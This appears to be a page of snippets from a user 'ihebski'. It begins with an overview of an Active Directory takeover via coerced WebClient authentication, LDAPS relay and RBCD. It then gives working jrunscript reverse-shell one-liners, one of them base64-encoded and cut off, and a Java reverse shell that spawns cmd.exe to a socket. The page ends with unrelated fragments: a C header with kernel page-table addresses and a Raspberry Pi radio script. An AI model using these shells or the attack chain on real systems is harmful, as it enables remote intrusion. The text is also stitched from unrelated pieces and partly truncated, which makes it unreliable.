ihebski

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

ihebski

Nashorn / Rhino:

• Reverse Shell

$ jrunscript -e 'var host="localhost"; var port=8044; var cmd="cmd.exe"; var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'

• Reverse Shell (Base-64 encoded)

$ jrunscript -e 'eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary("dmFyIGhvc3Q9ImxvY2FsaG9zdCI7IHZhciBwb3J0PTgwNDQ7IHZhciBjbWQ9ImNtZC5leGUiOyB2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKGNtZCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoaG9zdCxwb3J0KTt2YXIgcGk9cC5nZXRJbnB1dFN0cmVhbSgpLHBlPXAuZ2V

ihebski

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

ihebski

#include "stdafx.h"

#define	PML4_BASE	0xFFFFF6FB7DBED000
#define	PDP_BASE	0xFFFFF6FB7DA00000
#define	PD_BASE		0xFFFFF6FB40000000
#define	PT_BASE	0xFFFFF68000000000

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;

#pragma pack(push,4)

ihebski

#!/usr/bin/python
# raspberry pi nrf24l01 hub
# more details at http://blog.riyas.org
# Credits to python port of nrf24l01, Joao Paulo Barrac & maniacbugs original c library

from nrf24b import NRF24
import time
from time import gmtime, strftime

import  sys, string